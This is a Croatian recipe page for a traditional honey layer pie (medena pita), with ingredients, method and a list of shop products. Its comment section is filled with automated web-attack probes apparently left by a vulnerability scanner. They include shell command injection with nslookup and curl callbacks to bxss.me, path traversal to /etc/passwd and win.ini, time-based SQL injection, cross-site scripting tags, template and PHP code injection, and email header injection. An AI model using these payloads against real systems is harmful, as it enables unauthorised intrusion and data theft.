Medena pita

Ovo je jedna starinska pita, potpuno neopravdano već pomalo zaboravljena.

Pita se sastoji od nekoliko jednostavnih namirnica koje su nam gotovo uvijek pri ruci, a korištenje naizgled skromnih sastojaka na kraju će rezultirati finom kremastom slasticom bogatog okusa.

Sastojci za kore:

2-3 žlice masti (oko 100 g)

150 g šećera

3 žlice meda (ja sam koristila kestenov med)

1 jaje

1 žličica sode bikarbone

¼ žličice cimeta

500 g glatkog brašna

(i po potrebi malo mlijeka ili kiselog vrhnja)

Sastojci za kremu:

650 ml mlijeka

5 žlica oštrog brašna

200 g šećera

1 vanilin šećer ili malo domaćeg ekstrakta vanilije

200 g maslaca

5 žlica kokosovog brašna, za posipavanje

Priprema:

Pećnicu ugrijati na 180°C.

Pripremiti 4 lista papira za pečenje.

Šećer, jaje, mast, med i sodu bikarbonu staviti u posudu i kuhati na laganoj vatri 5-10 minuta. Smjesa će biti pjenasta i nježno mirisati na karamel. Maknuti s vatre, povremeno promiješati pa nakon 15 minuta u smjesu dodati brašno i cimet. Sve sastojke dobro promiješati, izvaditi iz posude pa kratko rukom mijesiti na brašnom posutoj podlozi (ako vam je tijesto presuho, možete mu dodati malo mlijeka ili kiselog vrhnja).

Tijesto podijeliti na 4 jednaka dijela. Svaki dio tijesta tanko razvaljati na papiru za pečenje (svaka kora treba biti cca 22 x 35 cm) pa staviti na preokrenuti lim i svaku koru peći 3-5 minuta na 180°C.

Pripremiti kremu. U posudu uliti mlijeko, dodati šećer i vanilin šećer. Kada mlijeko prokuha i šećer se otopi, maknuti s vatre, dodati brašno i brzo pjenjačom miješati. Vratiti na laganu vatru i kuhati uz stalno miješanje dok se krema ne zgusne.

Kremu ohladiti pa u dobro ohlađenu kremu umiješati maslac sobne temperature.

Na tri kore u jednakim slojevima rasporediti ohlađenu kremu, a na zadnju, četvrtu koru, nanijeti tek vrlo tanki sloj kreme pa posuti kokosovim brašnom.

Pitu rezati i poslužiti sljedeći dan.

Kod pripreme ove pite treba paziti da nam se kore ne prepeku, one moraju ostati nježne svijetlosmeđe boje, a pitu je bolje napraviti dan ranijene, ostaviti da se tijekom noći opusti, pa tek sljedeći dan rezati i poslužiti.

Klasična medena pita ne posipa se kokosovim brašnom već samo šećerom u prahu, ali ovo je dodatak koji ovu pitu čini još posebnijom.

Ocijeni recept

Recept objavio

Burza Hrane

Komentari

Dodaj komentar

echo bfaxti$()\ mmywzq\nz^xyu||a #' &echo bfaxti$()\ mmywzq\nz^xyu||a #|" &echo bfaxti$()\ mmywzq\nz^xyu||a #

ghovjnjv 21.11.2023 01:36

response.write(9745171*9468783)

ghovjnjv 21.11.2023 01:36

../../../../../../../../../../../../../../etc/passwd

ghovjnjv 21.11.2023 01:36

&echo rfaqoz$()\ lwlipq\nz^xyu||a #' &echo rfaqoz$()\ lwlipq\nz^xyu||a #|" &echo rfaqoz$()\ lwlipq\nz^xyu||a #

ghovjnjv 21.11.2023 01:36

'+response.write(9745171*9468783)+'

ghovjnjv 21.11.2023 01:36

../../../../../../../../../../../../../../windows/win.ini

ghovjnjv 21.11.2023 01:36

555&echo pmgnva$()\ hgnlho\nz^xyu||a #' &echo pmgnva$()\ hgnlho\nz^xyu||a #|" &echo pmgnva$()\ hgnlho\nz^xyu||a #

ghovjnjv 21.11.2023 01:36

file:///etc/passwd

ghovjnjv 21.11.2023 01:36

|echo qbeffh$()\ grunmc\nz^xyu||a #' |echo qbeffh$()\ grunmc\nz^xyu||a #|" |echo qbeffh$()\ grunmc\nz^xyu||a #

ghovjnjv 21.11.2023 01:36

"+response.write(9745171*9468783)+"

ghovjnjv 21.11.2023 01:36

555

bcc:074625.146-516937.146.3e2e9.19682.2@bxss.me

ghovjnjv 21.11.2023 01:36

to@example.com>

bcc:074625.146-516938.146.3e2e9.19682.2@bxss.me

ghovjnjv 21.11.2023 01:36

555|echo pgvwml$()\ vrzfeo\nz^xyu||a #' |echo pgvwml$()\ vrzfeo\nz^xyu||a #|" |echo pgvwml$()\ vrzfeo\nz^xyu||a #

ghovjnjv 21.11.2023 01:36

(nslookup -q=cname hitrmimzubrzk24657.bxss.me||curl hitrmimzubrzk24657.bxss.me))

ghovjnjv 21.11.2023 01:36

12345'"\'\");|]*{

ghovjnjv 21.11.2023 01:36

$(nslookup -q=cname hitdtamsojthc1928f.bxss.me||curl hitdtamsojthc1928f.bxss.me)

ghovjnjv 21.11.2023 01:36

&nslookup -q=cname hitqakjlciyih61d7c.bxss.me&'\"`0&nslookup -q=cname hitqakjlciyih61d7c.bxss.me&`'

ghovjnjv 21.11.2023 01:36

&(nslookup -q=cname hitwvflwbneowf44aa.bxss.me||curl hitwvflwbneowf44aa.bxss.me)&'\"`0&(nslookup -q=cname hitwvflwbneowf44aa.bxss.me||curl hitwvflwbneowf44aa.bxss.me)&`'

ghovjnjv 21.11.2023 01:36

|(nslookup -q=cname hitsbktzugslj5e484.bxss.me||curl hitsbktzugslj5e484.bxss.me)

ghovjnjv 21.11.2023 01:36

`(nslookup -q=cname hitheupgshrdq6067e.bxss.me||curl hitheupgshrdq6067e.bxss.me)`

ghovjnjv 21.11.2023 01:36

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

ghovjnjv 21.11.2023 01:36

${9999209+10000005}

ghovjnjv 21.11.2023 01:36

;(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)|(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)&(nslookup -q=cname hitscmeomgpwkc626a.bxss.me||curl hitscmeomgpwkc626a.bxss.me)

ghovjnjv 21.11.2023 01:36

Http://bxss.me/t/fit.txt

ghovjnjv 21.11.2023 01:36

555&n978512=v992311

ghovjnjv 21.11.2023 01:36

c:/windows/win.ini

ghovjnjv 21.11.2023 01:36

!(()&&!|*|*|

ghovjnjv 21.11.2023 01:36

'.gethostbyname(lc('hitus'.'rglesxwa96758.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(86).chr(109).chr(78).'

ghovjnjv 21.11.2023 01:36

555

ghovjnjv 21.11.2023 01:36

^(#$!@#$)(()))******

ghovjnjv 21.11.2023 01:36

".gethostbyname(lc("hitds"."izectwlf667e1.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(75).chr(110).chr(66)."

ghovjnjv 21.11.2023 01:36

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

ghovjnjv 21.11.2023 01:37

';print(md5(31337));$a='

ghovjnjv 21.11.2023 01:37

555'&&sleep(27*1000)*msttrf&&'

ghovjnjv 21.11.2023 01:37

555

) 21.11.2023 01:37

";print(md5(31337));$a="

ghovjnjv 21.11.2023 01:37

HttP://bxss.me/t/xss.html?%00

ghovjnjv 21.11.2023 01:37

555"&&sleep(27*1000)*lkmwyf&&"

ghovjnjv 21.11.2023 01:37

${@print(md5(31337))}

ghovjnjv 21.11.2023 01:37

bxss.me/t/xss.html?%00

ghovjnjv 21.11.2023 01:37

555'||sleep(27*1000)*evuwqy||'

ghovjnjv 21.11.2023 01:37

${@print(md5(31337))}\

ghovjnjv 21.11.2023 01:37

'.print(md5(31337)).'

ghovjnjv 21.11.2023 01:37

"+"A".concat(70-3).concat(22*4).concat(110).concat(87).concat(116).concat(65)+(require"socket"

Socket.gethostbyname("hittr"+"unpytknhf72ac.bxss.me.")[3].to_s)+"

ghovjnjv 21.11.2023 01:37

555"||sleep(27*1000)*icsfvs||"

ghovjnjv 21.11.2023 01:37

'+'A'.concat(70-3).concat(22*4).concat(114).concat(78).concat(99).concat(86)+(require'socket'

Socket.gethostbyname('hitpi'+'ggaedydk5e17e.bxss.me.')[3].to_s)+'

ghovjnjv 21.11.2023 01:37

555

ghovjnjv 21.11.2023 01:37

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

ghovjnjv 21.11.2023 01:37

555

1733 21.11.2023 01:37

555

1733 21.11.2023 01:37

555'"()&%HbJM(9135)

ghovjnjv 21.11.2023 01:37

'"()&%HbJM(9986)

ghovjnjv 21.11.2023 01:37

-1 OR 2+916-916-1=0+0+0+1 --

ghovjnjv 21.11.2023 01:37

555

'" 21.11.2023 01:37

-1 OR 2+76-76-1=0+0+0+1

ghovjnjv 21.11.2023 01:37

-1' OR 2+527-527-1=0+0+0+1 --

ghovjnjv 21.11.2023 01:37

555

<!-- 21.11.2023 01:37

-1' OR 2+723-723-1=0+0+0+1 or 'rtYo9yv9'='

ghovjnjv 21.11.2023 01:37

555

'"() 21.11.2023 01:37

-1" OR 2+921-921-1=0+0+0+1 --

ghovjnjv 21.11.2023 01:37

bfg8962<s1﹥s2ʺs3ʹhjl8962

ghovjnjv 21.11.2023 01:37

if(now()=sysdate(),sleep(15),0)

ghovjnjv 21.11.2023 01:37

1}}"}}'}}1%>"%>'%>

ghovjnjv 21.11.2023 01:37

dfb{{98991*97996}}xca

ghovjnjv 21.11.2023 01:37

dfb[[${98991*97996}]]xca

ghovjnjv 21.11.2023 01:37

dfb__${98991*97996}__::.x

ghovjnjv 21.11.2023 01:37

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

ghovjnjv 21.11.2023 01:37

555HbJM(9144)

ghovjnjv 21.11.2023 01:37

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

ghovjnjv 21.11.2023 01:37

555Z9PA7[!+!]

ghovjnjv 21.11.2023 01:37

555HbJM(9282)

ghovjnjv 21.11.2023 01:37

555HbJM(9162)9162

ghovjnjv 21.11.2023 01:37

555HbJM(9197)

ghovjnjv 21.11.2023 01:37

555HbJM(9698)

ghovjnjv 21.11.2023 01:37

555HbJM(9684)

ghovjnjv 21.11.2023 01:38

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

ghovjnjv 21.11.2023 01:38

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ghovjnjv 21.11.2023 01:38

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%62%4A%4D%289118%29%3C%2F%73%43%72%69%70%54%3E

ghovjnjv 21.11.2023 01:38

555\u003CScRiPt\HbJM(9382)\u003C/sCripT\u003E

ghovjnjv 21.11.2023 01:38

555<ScRiPt>HbJM(9558)</sCripT>

ghovjnjv 21.11.2023 01:38

-1; waitfor delay '0:0:15' --

ghovjnjv 21.11.2023 01:38

555}body{zzz:Expre/**/SSion(HbJM(9933))}

ghovjnjv 21.11.2023 01:38

5551vcm7

HbJM(9558)

ghovjnjv 21.11.2023 01:38

555NAOS6[!+!]

ghovjnjv 21.11.2023 01:38

-1); waitfor delay '0:0:15' --

ghovjnjv 21.11.2023 01:38

1 waitfor delay '0:0:15' --

ghovjnjv 21.11.2023 01:39

jw2NXWIB'; waitfor delay '0:0:15' --

ghovjnjv 21.11.2023 01:39

-5 OR 378=(SELECT 378 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:39

-5) OR 759=(SELECT 759 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:39

-1)) OR 721=(SELECT 721 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:39

yPOU50Yl' OR 443=(SELECT 443 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:40

BlH2G3dX') OR 919=(SELECT 919 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:40

rdEKNSJG')) OR 611=(SELECT 611 FROM PG_SLEEP(15))--

ghovjnjv 21.11.2023 01:40

555

21.11.2023 01:40

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ghovjnjv 21.11.2023 01:41

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ghovjnjv 21.11.2023 01:41

555

1'" 21.11.2023 01:47

555

1 21.11.2023 01:47

Komentiraj

Burza hrane preporučuje

Ostalo

Ribež inox Nini Tartufi

25,00 eur/kom

Gotovi proizvodi

Bijela tartufata 90 g

12,50 eur/kom

L jaja težine 63-73 g

Domaća jaja iz slobodnog uzgoja

0,30 eur/kom

Repa

Repa za kiseljenje

0,50 eur/kg

Tartufi

Crni sjeckani tartuf 90 g

21,25 eur/kom

Blitva

Blitva

1,00 eur/kg

Tabasco

Ljuti umak - OLD SMOKER

7,00 eur/kom

Pirovo brašno

Pirovo brašno

2,00 eur/kg

Ostalo

Kozja skuta

15,00 eur/kg

Prirodni (100%) sokovi

Eko 100% sok sibirske borovnice - haskapa

12,00 eur/L

Pršut

PRŠUT JELENIĆ bez kosti 500g

30,00 eur/kom

Poklon paketi

Poklon paket 3x čokoladne bučine koštice

12,00 eur/kom

Celer

Korijen celera

1,00 eur/kg

Slatki likeri

Terranino

17,12 eur/L

Maslinovo ulje

"Sapparis" ekstra djevičansko maslinovo ulje 0,75 lit

14,60 eur/kom